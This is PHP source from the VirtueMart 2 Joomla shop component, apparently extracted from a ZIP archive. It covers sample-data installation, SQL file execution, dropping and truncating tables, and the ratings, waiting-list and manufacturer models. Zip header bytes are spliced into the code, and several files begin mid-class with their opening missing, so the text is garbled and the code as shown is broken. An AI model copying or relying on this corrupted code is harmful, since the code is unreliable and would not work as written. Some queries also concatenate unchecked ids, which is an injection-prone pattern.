$fields['vendor_phone'] = '555-555-1212'; $fields['vendor_store_name'] = "VirtueMart 2 Sample store"; $fields['vendor_store_desc'] = '

      We have the best clothing for up-to-date people. Check it out!

      We were established in 1869 in a time when getting good clothes was expensive, but the quality was good. Now that only a select few of those authentic clothes survive, we have dedicated this store to bringing the experience alive for collectors and master carrier everywhere.

      You can easily find products selecting the category you would like to browse above.

      '; $fields['virtuemart_media_id'] = 1; $fields['vendor_currency'] = '47'; $fields['vendor_accepted_currencies'] = '52,26,47,144'; $fields['vendor_terms_of_service'] = '
      You have not configured any terms of service yet. Click here to change this text.
      '; $fields['vendor_url'] = JURI::root(); $fields['vendor_name'] = 'Sample Company'; $fields['perms']='admin'; $fields['vendor_legal_info']="VAT-ID: XYZ-DEMO
      Reg.Nr: DEMONUMBER"; $fields['vendor_letter_css']='.vmdoc-header { }.vmdoc-footer { }'; $fields['vendor_letter_header_html']='

      {vm:vendorname}

      {vm:vendoraddress}

      '; $fields['vendor_letter_header_image']='1'; $fields['vendor_letter_footer_html']='{vm:vendorlegalinfo}
      Page {vm:pagenum}/{vm:pagecount}'; if(!class_exists('VirtueMartModelUser')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'user.php'); $usermodel = VmModel::getModel('user'); $usermodel->setId($userId); //Save the VM user stuff if(!$usermodel->store($fields)){ vmError(JText::_('COM_VIRTUEMART_NOT_ABLE_TO_SAVE_USER_DATA') ); JError::raiseWarning('', JText::_('COM_VIRTUEMART_RAISEWARNING_NOT_ABLE_TO_SAVE_USER_DATA')); } // $params = JComponentHelper::getParams('com_languages'); // $lang = $params->get('site', 'en-GB');//use default joomla // $this->installSampleSQL($lang); $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'install_sample_data.sql'; if(!defined('VMLANG')){ $params = JComponentHelper::getParams('com_languages'); $lang = $params->get('site', 'en-GB');//use default joomla $lang = strtolower(strtr($lang,'-','_')); } else { $lang = VMLANG; } if(!$this->execSQLFile($filename)){ vmError(JText::_('Problems execution of SQL File '.$filename)); } else { //update jplugin_id from shipment and payment $db = JFactory::getDBO(); $q = 'SELECT `extension_id` FROM #__extensions WHERE element = "weight_countries" AND folder = "vmshipment"'; $db->setQuery($q); $shipment_plg_id = $db->loadResult(); if(!empty($shipment_plg_id)){ $q = 'INSERT INTO `#__virtuemart_shipmentmethods` (`virtuemart_shipmentmethod_id`, `virtuemart_vendor_id`, `shipment_jplugin_id`, `shipment_element`, `shipment_params`, `ordering`, `shared`, `published`, `created_on`, `created_by`, `modified_on`, `modified_by`, `locked_on`, `locked_by`) VALUES (1, 1, '.$shipment_plg_id.', "weight_countries", \'shipment_logos=""|countries=""|zip_start=""|zip_stop=""|weight_start=""|weight_stop=""|weight_unit="KG"|nbproducts_start=0|nbproducts_stop=0|orderamount_start=""|orderamount_stop=""|cost="0"|package_fee="2.49"|tax_id="0"|free_shipment="500"|\', 0, 0, 1, "0000-00-00 00:00:00", 0, "0000-00-00 00:00:00", 0, "0000-00-00 00:00:00", 0)'; $db->setQuery($q); $db->query(); $q = 'INSERT INTO `#__virtuemart_shipmentmethods_'.$lang.'` (`virtuemart_shipmentmethod_id`, `shipment_name`, `shipment_desc`, `slug`) VALUES (1, "Self pick-up", "", "Self-pick-up")'; $db->setQuery($q); $db->query(); //Create table of the plugin if(JVM_VERSION!=1){ $url = '/plugins/vmshipment/weight_countries'; } else{ $url = '/plugins/vmshipment'; } if (!class_exists ('plgVmShipmentWeight_countries')) require(JPATH_ROOT . DS . $url . DS . 'weight_countries.php'); $this->installPluginTable('plgVmShipmentWeight_countries','#__virtuemart_shipment_plg_weight_countries','Shipment Weight Countries Table'); } $q = 'SELECT `extension_id` FROM #__extensions WHERE element = "standard" AND folder = "vmpayment"'; $db->setQuery($q); $payment_plg_id = $db->loadResult(); if(!empty($payment_plg_id)){ $q='INSERT INTO `#__virtuemart_paymentmethods` (`virtuemart_paymentmethod_id`, `virtuemart_vendor_id`, `payment_jplugin_id`, `payment_element`, `payment_params`, `shared`, `ordering`, `published`, `created_on`, `created_by`, `modified_on`, `modified_by`, `locked_on`, `locked_by`) VALUES (1, 1, '.$payment_plg_id.', "standard", \'payment_logos=""|countries=""|payment_currency="0"|status_pending="U"|send_invoice_on_order_null="1"|min_amount=""|max_amount=""|cost_per_transaction="0.10"|cost_percent_total="1.5"|tax_id="0"|payment_info=""|\', 0, 0, 1, "0000-00-00 00:00:00", 0, "0000-00-00 00:00:00", 0, "0000-00-00 00:00:00", 0)'; $db->setQuery($q); $db->query(); $q="INSERT INTO `#__virtuemart_paymentmethods_".$lang."` (`virtuemart_paymentmethod_id`, `payment_name`, `payment_desc`, `slug`) VALUES (1, 'Cash on delivery', '', 'Cash-on-delivery')"; $db->setQuery($q); $db->query(); if(JVM_VERSION!=1){ $url = '/plugins/vmpayment/standard'; } else{ $url = '/plugins/vmpayment'; } if (!class_exists ('plgVmPaymentStandard')) require(JPATH_ROOT . DS . $url . DS . 'standard.php'); $this->installPluginTable('plgVmPaymentStandard','#__virtuemart_payment_plg_standard','Payment Standard Table'); } vmInfo(JText::_('COM_VIRTUEMART_SAMPLE_DATA_INSTALLED')); } return true; } function installPluginTable ($className,$tablename,$tableComment) { $query = "CREATE TABLE IF NOT EXISTS `" . $tablename . "` ("; if(!empty($tablesFields)){ foreach ($tablesFields as $fieldname => $fieldtype) { $query .= '`' . $fieldname . '` ' . $fieldtype . " , "; } } else { $SQLfields = call_user_func($className."::getTableSQLFields"); //$SQLfields = $className::getTableSQLFields (); // $loggablefields = $className::getTableSQLLoggablefields (); $loggablefields = call_user_func($className."::getTableSQLLoggablefields"); foreach ($SQLfields as $fieldname => $fieldtype) { $query .= '`' . $fieldname . '` ' . $fieldtype . " , "; } foreach ($loggablefields as $fieldname => $fieldtype) { $query .= '`' . $fieldname . '` ' . $fieldtype . ", "; } } $query .= " PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='" . $tableComment . "' AUTO_INCREMENT=1 ;"; $db = JFactory::getDBO(); $db->setQuery($query); if (!$db->query ()) { vmError ( $className.'::onStoreInstallPluginTable: ' . JText::_ ('COM_VIRTUEMART_SQL_ERROR') . ' ' . $db->stderr (TRUE)); } } function restoreSystemDefaults() { JPluginHelper::importPlugin('vmextended'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('onVmSqlRemove', $this); $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'uninstall_essential_data.sql'; $this->execSQLFile($filename); $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'uninstall_required_data.sql'; $this->execSQLFile($filename); $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'install.sql'; $this->execSQLFile($filename); $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'install_essential_data.sql'; $this->execSQLFile($filename); $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'install_required_data.sql'; $this->execSQLFile($filename); if(!class_exists('GenericTableUpdater')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'tableupdater.php'); $updater = new GenericTableUpdater(); $updater->createLanguageTables(); JPluginHelper::importPlugin('vmextended'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('onVmSqlRestore', $this); } function restoreSystemTablesCompletly() { $this->removeAllVMTables(); $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'install.sql'; $this->execSQLFile($filename); $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'install_essential_data.sql'; $this->execSQLFile($filename); $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'install_required_data.sql'; $this->execSQLFile($filename); if(!class_exists('GenericTableUpdater')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'tableupdater.php'); $updater = new GenericTableUpdater(); $updater->createLanguageTables(); JPluginHelper::importPlugin('vmextended'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('onVmSqlRestore', $this); } /** * Parse a sql file executing each sql statement found. * * @author Max Milbers */ function execSQLFile($sqlfile ) { // Check that sql files exists before reading. Otherwise raise error for rollback if ( !file_exists($sqlfile) ) { vmError('No SQL file provided!'); return false; } if(!class_exists('VmConfig')){ require_once(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'config.php'); VmConfig::loadConfig(false,true); } if(!defined('VMLANG')){ $params = JComponentHelper::getParams('com_languages'); $lang = $params->get('site', 'en-GB');//use default joomla $lang = strtolower(strtr($lang,'-','_')); } else { $lang = VMLANG; } // Create an array of queries from the sql file jimport('joomla.installer.helper'); $queries = JInstallerHelper::splitSql(file_get_contents($sqlfile)); if (count($queries) == 0) { vmError('SQL file has no queries!'); return false; } $ok = true; $db = JFactory::getDBO(); // Process each query in the $queries array (split out of sql file). foreach ($queries as $query) { $query = trim($query); if ($query != '' && $query{0} != '#') { if(strpos($query, 'CREATE' )!==false or strpos( $query, 'INSERT')!==false){ $query = str_replace('XLANG',$lang,$query); } $db->setQuery($query); if (!$db->query()) { JError::raiseWarning(1, 'JInstaller::install: '.$sqlfile.' '.JText::_('COM_VIRTUEMART_SQL_ERROR')." ".$db->stderr(true)); $ok = false; } } } return $ok; } /** * Delete all Virtuemart tables. * * @return True if successful, false otherwise */ function removeAllVMTables() { $db = JFactory::getDBO(); $config = JFactory::getConfig(); $prefix = $config->getValue('config.dbprefix').'virtuemart_%'; $db->setQuery('SHOW TABLES LIKE "'.$prefix.'"'); if (!$tables = $db->loadResultArray()) { vmInfo ('removeAllVMTables no tables found '.$db->getErrorMsg()); return false; } $app = JFactory::getApplication(); foreach ($tables as $table) { $db->setQuery('DROP TABLE ' . $table); if($db->query()){ $droppedTables[] = substr($table,strlen($prefix)-1); } else { $errorTables[] = $table; $app->enqueueMessage('Error drop virtuemart table ' . $table); } } if(!empty($droppedTables)){ $app->enqueueMessage('Dropped virtuemart table ' . implode(', ',$droppedTables)); } if(!empty($errorTables)){ $app->enqueueMessage('Error dropping virtuemart table ' . implode($errorTables,', ')); return false; } return true; } /** * Remove all the data from all Virutmeart tables. * * @return boolean True if successful, false otherwise. */ function removeAllVMData() { JPluginHelper::importPlugin('vmextended'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('onVmSqlRemove', $this); $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'uninstall_data.sql'; $this->execSQLFile($filename); $tables = array('categories','manufacturers','manufacturercategories','paymentmethods','products','shipmentmethods','vendors'); $prefix = $this->_db->getPrefix(); foreach ($tables as $table) { $query = 'SHOW TABLES LIKE "'.$prefix.'virtuemart_'.$table.'_%"'; $this->_db->setQuery($query); if($translatedTables= $this->_db->loadResultArray()) { foreach ($translatedTables as $translatedTable) { $this->_db->setQuery('TRUNCATE TABLE `'.$translatedTable.'`'); if($this->_db->query()) vmInfo( $translatedTable.' empty'); else vmError($translatedTable.' language table Cannot be deleted'); } } else vmInfo('No '.$table.' language table found to delete '.$query); } //"TRUNCATE TABLE IS FASTER and reset the primary Keys; //install required data again $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'install_required_data.sql'; $this->execSQLFile($filename); return true; } /** * This function deletes all stored thumbs and deletes the entries for all thumbs, usually this is need for shops * older than vm2.0.22. The new pattern is now not storing the url as long it is not overwritten. * Of course the function deletes all overwrites, but you can now relativly easy change the thumbsize in your shop * @author Max Milbers */ function resetThumbs(){ $db = JFactory::getDbo(); $q = 'UPDATE `#__virtuemart_medias` SET `file_url_thumb`=""'; $db->setQuery($q); $db->query(); $err = $db->getErrorMsg(); if(!empty($err)){ vmError('resetThumbs Update entries failed ',$err); } jimport('joomla.filesystem.folder'); $tmpimg_resize_enable = VmConfig::get('img_resize_enable',1); VmConfig::set('img_resize_enable',0); $this->deleteMediaThumbFolder('media_category_path'); $this->deleteMediaThumbFolder('media_product_path'); $this->deleteMediaThumbFolder('media_manufacturer_path'); $this->deleteMediaThumbFolder('media_vendor_path'); $this->deleteMediaThumbFolder('forSale_path_thumb',''); VmConfig::set('img_resize_enable',$tmpimg_resize_enable); return true; } /** * Delets a thumb folder and recreates it, contains small nasty hack for the thumbnail folder of the "file for sale" * @author Max Milbers * @param $type * @param string $resized * @return bool */ private function deleteMediaThumbFolder($type,$resized='resized'){ if(!empty($resized)) $resized = DS.$resized; $typePath = VmConfig::get($type); if(!empty($typePath)){ $path = JPATH_ROOT.DS.str_replace('/',DS,$typePath).$resized; $msg = JFolder::delete($path); if(!$msg){ vmWarn('Problem deleting '.$type); } if(!class_exists('JFile')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'filesystem'.DS.'file.php'); $msg = JFolder::create($path); return $msg; } else { return 'Config path for '.$type.' empty'; } } } //pure php no tag PKs>\U ? ?!com_virtuemart/models/ratings.phpnuW+AsetMainTable('ratings'); $layout = JRequest::getString('layout','default'); $task = JRequest::getCmd('task','default'); if($layout == 'list_reviews' or $task == 'listreviews'){ vmdebug('in review list'); $myarray = array('pr.created_on','virtuemart_rating_review_id','vote'); $this->removevalidOrderingFieldName('created_on'); $this->removevalidOrderingFieldName('product_name'); $this->removevalidOrderingFieldName('virtuemart_rating_id'); $this->removevalidOrderingFieldName('rating'); $this->_selectedOrdering = 'pr.created_on'; } else { $myarray = array('created_on','product_name','virtuemart_rating_id'); $this->removevalidOrderingFieldName('pr.created_on'); $this->removevalidOrderingFieldName('virtuemart_rating_review_id'); $this->removevalidOrderingFieldName('vote'); $this->_selectedOrdering = 'created_on'; } $this->addvalidOrderingFieldName($myarray); } /** * Select the products to list on the product list page */ public function getRatings() { $tables = ' FROM `#__virtuemart_ratings` AS `r` JOIN `#__virtuemart_products_'.VMLANG.'` AS `p` USING (`virtuemart_product_id`) '; $whereString = ''; $this->_data = $this->exeSortSearchListQuery(0,' r.*,p.`product_name` ',$tables,$whereString,'',$this->_getOrdering()); // $this->_data = $this->_getList($q, $this->getState('limitstart'), $this->getState('limit')); // set total for pagination // $this->_total = $this->_getListCount($q) ; // if(empty($this->_data)) $this->_data = array(); // if(!isset($this->_total)) $this->_total = 0; return $this->_data; } /** * Load a single rating * @author RolandD */ public function getRating($cids) { if (empty($cids)) { return; } /* First copy the product in the product table */ $ratings_data = $this->getTable('ratings'); /* Load the rating */ $joinValue = array('product_name' =>'#__virtuemart_products'); if ($cids) { $ratings_data->load ($cids[0], $joinValue, 'virtuemart_product_id'); } /* Add some variables for a new rating */ if (JRequest::getWord('task') == 'add') { $virtuemart_product_id = JRequest::getVar('virtuemart_product_id',array(),'', 'array'); if(is_array($virtuemart_product_id) && count($virtuemart_product_id) > 0){ $virtuemart_product_id = (int)$virtuemart_product_id[0]; } else { $virtuemart_product_id = (int)$virtuemart_product_id; } $ratings_data->virtuemart_product_id = $virtuemart_product_id; /* User ID */ $user = JFactory::getUser(); $ratings_data->virtuemart_user_id = $user->id; } return $ratings_data; } /** * @author Max Milbers * @param $virtuemart_product_id * @return null */ function getReviews($virtuemart_product_id){ if (empty($virtuemart_product_id)) { return NULL; } $select = '`u`.*,`pr`.*,`p`.`product_name`,`rv`.`vote`, `u`.`name` AS customer, `pr`.`published`'; $tables = ' FROM `#__virtuemart_rating_reviews` AS `pr` LEFT JOIN `#__users` AS `u` ON `pr`.`created_by` = `u`.`id` LEFT JOIN `#__virtuemart_products_'.VMLANG.'` AS `p` ON `p`.`virtuemart_product_id` = `pr`.`virtuemart_product_id` LEFT JOIN `#__virtuemart_rating_votes` AS `rv` on `rv`.`virtuemart_product_id`=`pr`.`virtuemart_product_id` and `rv`.`created_by`=`u`.`id`'; $whereString = ' WHERE `p`.`virtuemart_product_id` = "'.$virtuemart_product_id.'"'; $result = $this->exeSortSearchListQuery(0,$select,$tables,$whereString,'',$this->_getOrdering()); return $result; } /** * @author Max Milbers * @param $cids * @return mixed@ */ function getReview($cids){ $q = 'SELECT `u`.*,`pr`.*,`p`.`product_name`,`rv`.`vote`,CONCAT_WS(" ",`u`.`title`,u.`last_name`,`u`.`first_name`) as customer FROM `#__virtuemart_rating_reviews` AS `pr` LEFT JOIN `#__virtuemart_userinfos` AS `u` ON `pr`.`created_by` = `u`.`virtuemart_user_id` LEFT JOIN `#__virtuemart_products_'.VMLANG.'` AS `p` ON `p`.`virtuemart_product_id` = `pr`.`virtuemart_product_id` LEFT JOIN `#__virtuemart_rating_votes` as `rv` on `rv`.`virtuemart_product_id`=`pr`.`virtuemart_product_id` and `rv`.`created_by`=`pr`.`created_by` WHERE virtuemart_rating_review_id="'.(int)$cids[0].'" ' ; $this->_db->setQuery($q); vmdebug('getReview',$this->_db->getQuery()); return $this->_db->loadObject(); } /** * gets a rating by a product id * * @author Max Milbers * @param int $product_id */ function getRatingByProduct($product_id){ $q = 'SELECT * FROM `#__virtuemart_ratings` WHERE `virtuemart_product_id` = "'.(int)$product_id.'" '; $this->_db->setQuery($q); return $this->_db->loadObject(); } /** * gets a review by a product id * * @author Max Milbers * @param int $product_id */ function getReviewByProduct($product_id,$userId=0){ if(empty($userId)){ $user = JFactory::getUser(); $userId = $user->id; } $q = 'SELECT * FROM `#__virtuemart_rating_reviews` WHERE `virtuemart_product_id` = "'.(int)$product_id.'" AND `created_by` = "'.(int)$userId.'" '; $this->_db->setQuery($q); return $this->_db->loadObject(); } /** * gets a reviews by a product id * * @author Max Milbers * @param int $product_id */ function getReviewsByProduct($product_id){ if(empty($userId)){ $user = JFactory::getUser(); $userId = $user->id; } $q = 'SELECT * FROM `#__virtuemart_rating_reviews` WHERE `virtuemart_product_id` = "'.(int)$product_id.'" '; $this->_db->setQuery($q); return $this->_db->loadObjectList(); } /** * gets a vote by a product id and userId * * @author Max Milbers * @param int $product_id */ function getVoteByProduct($product_id,$userId=0){ if(empty($userId)){ $user = JFactory::getUser(); $userId = $user->id; } $q = 'SELECT * FROM `#__virtuemart_rating_votes` WHERE `virtuemart_product_id` = "'.(int)$product_id.'" AND `created_by` = "'.(int)$userId.'" '; $this->_db->setQuery($q); return $this->_db->loadObject(); } /** * Save a rating * @author Max Milbers */ public function saveRating($data=0) { //Check user_rating $maxrating = VmConfig::get('vm_maximum_rating_scale',5); $virtuemart_product_id = vRequest::getInt('virtuemart_product_id',0); $app = JFactory::getApplication(); if( $app->isSite() ){ $user = JFactory::getUser(); $userId = $user->id; $allowReview = $this->allowReview($virtuemart_product_id); $allowRating = $this->allowRating($virtuemart_product_id); } else { $userId = $data['created_by']; $allowReview = true; $allowRating = true; } if(!empty($virtuemart_product_id)){ //if ( !empty($data['virtuemart_product_id']) && !empty($userId)){ if(empty($data)) $data = vRequest::getPost(); if($allowRating){ //normalize the rating if ($data['vote'] < 0) { $data['vote'] = 0; } if ($data['vote'] > ($maxrating + 1)) { $data['vote'] = $maxrating; } $data['lastip'] = $_SERVER['REMOTE_ADDR']; $data['vote'] = (int) $data['vote']; $rating = $this->getRatingByProduct($data['virtuemart_product_id']); vmdebug('$rating',$rating); $vote = $this->getVoteByProduct($data['virtuemart_product_id'],$userId); vmdebug('$vote',$vote); $data['virtuemart_rating_vote_id'] = empty($vote->virtuemart_rating_vote_id)? 0: $vote->virtuemart_rating_vote_id; if(isset($data['vote'])){ $votesTable = $this->getTable('rating_votes'); $votesTable->bindChecknStore($data,TRUE); $errors = $votesTable->getErrors(); foreach($errors as $error){ vmError(get_class( $this ).'::Error store votes '.$error); } } if(!empty($rating->rates) && empty($vote) ){ $data['rates'] = $rating->rates + $data['vote']; $data['ratingcount'] = $rating->ratingcount+1; } else { if (!empty($rating->rates) && !empty($vote->vote)) { $data['rates'] = $rating->rates - $vote->vote + $data['vote']; $data['ratingcount'] = $rating->ratingcount; } else { $data['rates'] = $data['vote']; $data['ratingcount'] = 1; } } if(empty($data['rates']) || empty($data['ratingcount']) ){ $data['rating'] = 0; } else { $data['rating'] = $data['rates']/$data['ratingcount']; } $data['virtuemart_rating_id'] = empty($rating->virtuemart_rating_id)? 0: $rating->virtuemart_rating_id; vmdebug('saveRating $data',$data); $rating = $this->getTable('ratings'); $rating->bindChecknStore($data,TRUE); $errors = $rating->getErrors(); foreach($errors as $error){ vmError(get_class( $this ).'::Error store rating '.$error); } } if($allowReview and !empty($data['comment'])){ //if(!empty($data['comment'])){ $data['comment'] = substr($data['comment'], 0, VmConfig::get('vm_reviews_maximum_comment_length', 2000)) ; // no HTML TAGS but permit all alphabet $value = preg_replace('@<[\/\!]*?[^<>]*?>@si','',$data['comment']);//remove all html tags $value = (string)preg_replace('#on[a-z](.+?)\)#si','',$value);//replace start of script onclick() onload()... $value = trim(str_replace('"', ' ', $value),"'") ; $data['comment'] = (string)preg_replace('#^\'#si','',$value);//replace ' at start $data['comment'] = nl2br($data['comment']); // keep returns //set to defaut value not used (prevent hack) $data['review_ok'] = 0; $data['review_rating'] = 0; $data['review_editable'] = 0; // Check if ratings are auto-published (set to 0 prevent injected by user) // $app = JFactory::getApplication(); if( $app->isSite() ){ if (!class_exists ('Permissions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); } if(!Permissions::getInstance()->check('admin')){ if (VmConfig::get ('reviews_autopublish', 1)) { $data['published'] = 1; } } } $review = $this->getReviewByProduct($data['virtuemart_product_id'],$userId); if(!empty($review->review_rates)){ $data['review_rates'] = $review->review_rates + $data['vote']; } else { $data['review_rates'] = $data['vote']; } if(!empty($review->review_ratingcount)){ $data['review_ratingcount'] = $review->review_ratingcount+1; } else { $data['review_ratingcount'] = 1; } $data['review_rating'] = $data['review_rates']/$data['review_ratingcount']; $data['virtuemart_rating_review_id'] = empty($review->virtuemart_rating_review_id)? 0: $review->virtuemart_rating_review_id; $reviewTable = $this->getTable('rating_reviews'); $reviewTable->bindChecknStore($data,TRUE); $errors = $reviewTable->getErrors(); foreach($errors as $error){ vmError(get_class( $this ).'::Error store review '.$error); } } return $data['virtuemart_rating_review_id']; } else{ vmError('Cant save rating/review/vote without vote/product_id'); return FALSE; } } /** * removes a product and related table entries * * @author Max Milberes */ public function remove($ids) { $rating = $this->getTable($this->_maintablename); $review = $this->getTable('rating_reviews'); $votes = $this->getTable('rating_votes'); $ok = TRUE; foreach($ids as $id) { $rating->load($id); $prod_id = $rating->virtuemart_product_id; if (!$rating->delete($id)) { vmError(get_class( $this ).'::Error deleting ratings '.$rating->getError()); $ok = FALSE; } if (!$review->delete($prod_id,'virtuemart_product_id')) { vmError(get_class( $this ).'::Error deleting review '.$review->getError()); $ok = FALSE; } if (!$votes->delete($prod_id,'virtuemart_product_id')) { vmError(get_class( $this ).'::Error deleting votes '.$votes->getError()); $ok = FALSE; } } return $ok; } /** * Returns the number of reviews assigned to a product * * @author RolandD * @param int $pid Product ID * @return int */ public function countReviewsForProduct($pid) { $db = JFactory::getDBO(); $q = "SELECT COUNT(*) AS total FROM #__virtuemart_rating_reviews WHERE virtuemart_product_id=".(int)$pid; $db->setQuery($q); $reviews = $db->loadResult(); return $reviews; } public function showReview($product_id){ return $this->show($product_id, VmConfig::get('showReviewFor','all')); } public function showRating($product_id = 0){ return $this->show($product_id, VmConfig::get('showRatingFor','all')); } public function allowReview($product_id){ return $this->show($product_id, VmConfig::get('reviewMode','bought')); } public function allowRating($product_id){ return $this->show($product_id, VmConfig::get('ratingMode','bought')); } /** * Decides if the rating/review should be shown on the FE * @author Max Milbers */ private function show($product_id, $show){ //dont show if($show == 'none'){ return false; } //show all else { if ($show == 'all') { return true; } //show only registered else { if ($show == 'registered') { $user = JFactory::getUser (); return !empty($user->id); } //show only registered && who bought the product else { if ($show == 'bought') { if (empty($product_id)) { return false; } if (isset($this->_productBought[$product_id])) { return $this->_productBought[$product_id]; } $user = JFactory::getUser (); $rr_os=VmConfig::get('rr_os',array('C')); if(!is_array($rr_os)) $rr_os = array($rr_os); $db = JFactory::getDBO (); $q = 'SELECT COUNT(*) as total FROM `#__virtuemart_orders` AS o LEFT JOIN `#__virtuemart_order_items` AS oi '; $q .= 'ON `o`.`virtuemart_order_id` = `oi`.`virtuemart_order_id` '; $q .= 'WHERE o.virtuemart_user_id = "' . $user->id . '" AND oi.virtuemart_product_id = "' . $product_id . '" '; $q .= 'AND o.order_status IN (\'' . implode("','",$rr_os). '\') '; $db->setQuery ($q); $count = $db->loadResult (); if ($count) { $this->_productBought[$product_id] = true; return true; } else { $this->_productBought[$product_id] = false; return false; } } } } } } } // pure php no closing tag PKs>\s(؜%com_virtuemart/models/waitinglist.phpnuW+AsetQuery ($q); return $db->loadObjectList (); } /** * Notify customers product is back in stock * * @author RolandD * @author Christopher Rouseel * @todo Add Itemid * @todo Do something if the mail cannot be send * @todo Update mail from * @todo Get the from name/email from the vendor */ public function notifyList ($virtuemart_product_id, $subject = '', $mailbody = '', $max_number = 0) { if (!$virtuemart_product_id) { return FALSE; } //sanitize id $virtuemart_product_id = (int)$virtuemart_product_id; $max_number = (int)$max_number; if (!class_exists ('shopFunctionsF')) { require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctionsf.php'); } $vars = array(); $waiting_users = $this->getWaitingusers ($virtuemart_product_id); /* Load the product details */ $db = JFactory::getDbo (); $q = "SELECT l.product_name,product_in_stock FROM `#__virtuemart_products_" . VMLANG . "` l JOIN `#__virtuemart_products` p ON p.virtuemart_product_id=l.virtuemart_product_id WHERE p.virtuemart_product_id = " . $virtuemart_product_id; $db->setQuery ($q); $item = $db->loadObject (); $vars['productName'] = $item->product_name; /* if ($item->product_in_stock <= 0) { return FALSE; } */ $url = JURI::root () . 'index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $virtuemart_product_id; $vars['link'] = ''. $item->product_name.''; if (empty($subject)) { $subject = JText::sprintf('COM_VIRTUEMART_PRODUCT_WAITING_LIST_EMAIL_SUBJECT', $item->product_name); } $vars['subject'] = $subject; $vars['mailbody'] = $mailbody; $virtuemart_vendor_id = 1; $vendorModel = VmModel::getModel ('vendor'); $vendor = $vendorModel->getVendor ($virtuemart_vendor_id); $vendorModel->addImages ($vendor); $vars['vendor'] = $vendor; $vars['vendorAddress']= shopFunctions::renderVendorAddress($virtuemart_vendor_id); $vendorEmail = $vendorModel->getVendorEmail ($virtuemart_vendor_id); $vars['vendorEmail'] = $vendorEmail; $i = 0; foreach ($waiting_users as $waiting_user) { $vars['user'] = $waiting_user->name ; if (shopFunctionsF::renderMail ('productdetails', $waiting_user->notify_email, $vars, 'productdetails')) { $db->setQuery ('UPDATE #__virtuemart_waitingusers SET notified=1 WHERE virtuemart_waitinguser_id=' . $waiting_user->virtuemart_waitinguser_id); $db->query (); $i++; } if (!empty($max_number) && $i >= $max_number) { break; } } return TRUE; } /** * Add customer to the waiting list for specific product * * @author Seyi Awofadeju * @return insert_id if the save was successful, false otherwise. */ public function adduser ($data) { JRequest::checkToken () or jexit ('Invalid Token, in notify customer'); $field = $this->getTable ('waitingusers'); if (!$field->bind ($data)) { // Bind data vmError ($field->getError ()); return FALSE; } if (!$field->check ()) { // Perform data checks vmError ($field->getError ()); return FALSE; } $_id = $field->store (); if ($_id === FALSE) { // Write data to the DB vmError ($field->getError ()); return FALSE; } //jexit(); return $_id; } } // pure php no closing tag PKs>\4Luu&com_virtuemart/models/manufacturer.phpnuW+AsetMainTable('manufacturers'); $this->addvalidOrderingFieldName(array('m.virtuemart_manufacturer_id','mf_name','mf_desc','mf_category_name','mf_url')); $this->removevalidOrderingFieldName('virtuemart_manufacturer_id'); $this->_selectedOrdering = 'mf_name'; $this->_selectedOrderingDir = 'ASC'; } /** * Load a single manufacturer */ public function getManufacturer() { static $_manus = array(); if (!array_key_exists ($this->_id, $_manus)) { $this->_data = $this->getTable('manufacturers'); $this->_data->load($this->_id); $xrefTable = $this->getTable('manufacturer_medias'); $this->_data->virtuemart_media_id = $xrefTable->load($this->_id); $_manus[$this->_id] = $this->_data; } return $_manus[$this->_id]; } /** * Bind the post data to the manufacturer table and save it * * @author Roland * @author Max Milbers * @return boolean True is the save was successful, false otherwise. */ public function store(&$data) { // Setup some place holders $table = $this->getTable('manufacturers'); $table->bindChecknStore($data); $errors = $table->getErrors(); foreach($errors as $error){ vmError($error); } // Process the images $mediaModel = VmModel::getModel('Media'); $mediaModel->storeMedia($data,'manufacturer'); $errors = $mediaModel->getErrors(); foreach($errors as $error){ vmError($error); } return $table->virtuemart_manufacturer_id; } /** * Returns a dropdown menu with manufacturers * @author Max Milbers * @return object List of manufacturer to build filter select box */ function getManufacturerDropDown() { $db = JFactory::getDBO(); $query = "SELECT `virtuemart_manufacturer_id` AS `value`, `mf_name` AS text, '' AS disable FROM `#__virtuemart_manufacturers_".VMLANG."` ORDER BY `mf_name` ASC"; $db->setQuery($query); $options = $db->loadObjectList(); array_unshift($options, JHTML::_('select.option', '0', '- '. JText::_('COM_VIRTUEMART_SELECT_MANUFACTURER') .' -' )); return $options; } /** * Retireve a list of countries from the database. * * @param string $onlyPuiblished True to only retreive the publish countries, false otherwise * @param string $noLimit True if no record count limit is used, false otherwise * @return object List of manufacturer objects */ public function getManufacturers($onlyPublished=false, $noLimit=false, $getMedia=false) { $this->_noLimit = $noLimit; $mainframe = JFactory::getApplication(); // $db = JFactory::getDBO(); $option = 'com_virtuemart'; $virtuemart_manufacturercategories_id = $mainframe->getUserStateFromRequest( $option.'virtuemart_manufacturercategories_id', 'virtuemart_manufacturercategories_id', 0, 'int' ); $search = $mainframe->getUserStateFromRequest( 